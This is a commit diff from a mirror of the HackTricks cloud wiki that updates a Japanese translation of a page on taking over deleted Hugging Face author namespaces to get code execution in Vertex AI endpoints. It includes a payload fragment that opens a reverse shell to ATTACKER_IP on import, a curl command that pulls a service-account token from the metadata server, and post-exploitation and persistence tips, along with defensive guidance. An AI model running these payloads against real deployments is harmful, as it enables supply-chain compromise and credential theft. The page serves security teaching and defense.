mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 15:21:52 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio
This commit is contained in:
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
## シナリオ
|
||||
|
||||
- Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
|
||||
- HF model identifiers are Author/ModelName. HF 上の author/org が削除された場合、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を使った repo をレガシーパス上に作成できます。
|
||||
- 名前のみで取得する(pinning/integrity なし)Pipelines、SDKs、またはクラウドカタログは攻撃者が制御する repo を引いてしまいます。モデルがデプロイされると、その repo の loader code が Vertex AI endpoint container 内で実行され、エンドポイントの権限で RCE を得られます。
|
||||
- HF のモデル識別子は Author/ModelName です。HF 上の author/org が削除されると、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を持つ repo をレガシーなパスに作成できます。
|
||||
- 名前だけで取得する(pinning/integrity がない)Pipelines、SDKs、またはクラウドカタログは攻撃者がコントロールする repo を取得します。モデルがデプロイされると、その repo のローダーコードが Vertex AI endpoint コンテナ内で実行され、エンドポイントの権限で RCE を引き起こす可能性があります。
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: 古いパスは、誰かがその author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は古い Author/ModelName から新しい author へ 307 リダイレクトを発行します。古い author が後で削除され攻撃者により再登録されると、リダイレクトチェーンは途切れ、攻撃者の repo がレガシーパスで提供されます。
|
||||
HF での一般的な乗っ取りケースは 2 つあります:
|
||||
- Ownership deletion: 旧パスは、誰かが author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は旧 Author/ModelName から新しい author へ 307 リダイレクトを発行します。もし旧 author が後に削除され攻撃者によって再登録された場合、リダイレクトチェーンは切断され、攻撃者の repo がレガシーパスで応答します。
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
## 再利用可能なネームスペースの特定 (HF)
|
||||
|
||||
- Old author deleted: author のページが 404 を返します。モデルパスは takeover が行われるまで 404 を返す場合があります。
|
||||
- Transferred models: 古いモデルパスは、古い author が存在している間は新しい所有者へ 307 を返します。もし古い author が後で削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
- Old author deleted: author のページが 404 を返す; モデルのパスは乗っ取りまで 404 を返す場合があります。
|
||||
- Transferred models: 旧モデルパスは旧 author が存在する間、新しい所有者へ 307 を発行します。もし旧 author が後に削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
|
||||
Quick checks with curl:
|
||||
curl を使った簡易チェック:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -30,22 +30,22 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
```
|
||||
## Vertex AI に対するエンドツーエンドの攻撃フロー
|
||||
|
||||
1) Model Garden に deployable としてリストされている再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden 内で、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で、元の author が削除されているか、モデルが移管されて古い author が後に削除されたかを確認する。
|
||||
1) Model Garden が deployable として一覧表示している、再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden にある、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で元の author が削除されているか、またはモデルが移管されて古い author が後で削除されたかを確認する。
|
||||
|
||||
2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
|
||||
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード中に一般的に実行される例:
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード時によく実行される例:
|
||||
- repo の __init__.py における副作用
|
||||
- config/auto_map で参照される custom modeling_*.py や processing コード
|
||||
- Transformers パイプラインで trust_remote_code=True を要するコードパス
|
||||
- config/auto_map で参照されるカスタムの modeling_*.py や処理コード
|
||||
- Transformers の pipelines で trust_remote_code=True を要求するコードパス
|
||||
|
||||
4) レガシーな Author/ModelName の Vertex AI デプロイが攻撃者の repo をプルするようになる。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
4) 以前の Author/ModelName を使った Vertex AI のデプロイが攻撃者の repo をプルする。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
|
||||
5) ペイロードは endpoint 環境から(RCE)エンドポイントの権限でアクセスを確立する。
|
||||
|
||||
インポート時に実行されるペイロード断片の例(デモ目的のみ):
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
メモ
|
||||
- 実際のローダーは様々です。多くの Vertex AI HF 統合は、モデルの設定で参照されるリポジトリモジュール(例: auto_map)をクローンしてインポートし、これがコード実行を引き起こす可能性があります。一部の利用では trust_remote_code=True が必要になることがあります。
|
||||
- エンドポイントは通常、限定的な権限の専用コンテナで動作しますが、GCP 内でのデータアクセスや横移動のための有効な初期足がかりになり得ます。
|
||||
- 実際の loaders は様々です。多くの Vertex AI HF integrations はモデル’s config で参照されるリポジトリモジュールをクローンしてインポートします(例: auto_map)。これがコード実行を引き起こす可能性があります。使用によっては trust_remote_code=True が必要です。
|
||||
- endpoint は通常、限定されたスコープの専用コンテナで動作しますが、GCP 内でデータアクセスや横移動のための有効な初期足掛かりとなり得ます。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
endpoint コンテナ内でコードが実行されている場合、次を検討してください:
|
||||
- 資格情報/トークンのために環境変数やメタデータを列挙する
|
||||
コードが endpoint コンテナ内で実行されている場合は、以下を検討してください:
|
||||
- 資格情報/トークンを得るために環境変数やメタデータを列挙する
|
||||
- アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
|
||||
- サービスアカウントの識別を使って Google APIs とやり取りする (Document AI, Storage, Pub/Sub, etc.)
|
||||
- プラットフォームが repo を再取得する場合に備えてモデルアーティファクト内に永続化する
|
||||
- サービスアカウントのアイデンティティを介して Google APIs(Document AI, Storage, Pub/Sub など)とやり取りする
|
||||
- プラットフォームがリポジトリを再取得する場合に備えて、モデルアーティファクト内に永続化を置く
|
||||
|
||||
アクセス可能ならインスタンスメタデータを列挙する(コンテナ依存):
|
||||
アクセス可能ならインスタンスのメタデータを列挙する(コンテナ依存):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI ユーザー向けの防御ガイダンス
|
||||
## Vertex AI ユーザー向け防御ガイダンス
|
||||
|
||||
- HF loadersでモデルをcommit単位で固定して、サイレントな置き換えを防ぐ:
|
||||
- HF loaders で commit によってモデルを固定し、知らないうちに差し替えられるのを防ぐ:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 精査済みの HFモデル を信頼できる内部のアーティファクトストア/レジストリにミラーし、そこからデプロイする。
|
||||
- コードベースと設定を継続的にスキャンし、削除/転送されたハードコーディングされた Author/ModelName を検出して、新しい名前空間に更新するかコミットで固定する。
|
||||
- Model Garden では、デプロイ前にモデルの由来と作者の存在を確認する。
|
||||
- 検証済みの HF models を信頼できる社内の artifact store/registry にミラーし、そこからデプロイする。
|
||||
- コードベースや設定を継続的にスキャンし、削除/移管された Author/ModelName がハードコードされていないか確認する。新しい名前空間に更新するか、コミットで pin する。
|
||||
- Model Garden では、デプロイ前にモデルの出所と著者の存在を確認する。
|
||||
|
||||
## 認識ヒューリスティクス (HTTP)
|
||||
## 検出ヒューリスティクス (HTTP)
|
||||
|
||||
- 削除された作者:作者ページが404。旧モデルパスも引き継ぎまで404。
|
||||
- 移管されたモデル:旧パスが旧作者が存在する間に新作者へ307リダイレクトする;後に旧作者が削除され再登録された場合、旧パスは攻撃者のコンテンツを返す。
|
||||
- Deleted author: 著者ページが 404。レガシーモデルのパスも乗っ取りが起こるまで 404。
|
||||
- Transferred model: レガシーパスが 307 で新しい著者へリダイレクトされる(旧著者が存在する間);もし旧著者が後に削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 相互参照
|
||||
|
||||
- より広範な方法論およびサプライチェーンに関する注記を参照:
|
||||
- より広範な方法論とサプライチェーンに関する注意事項を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
Reference in New Issue
Block a user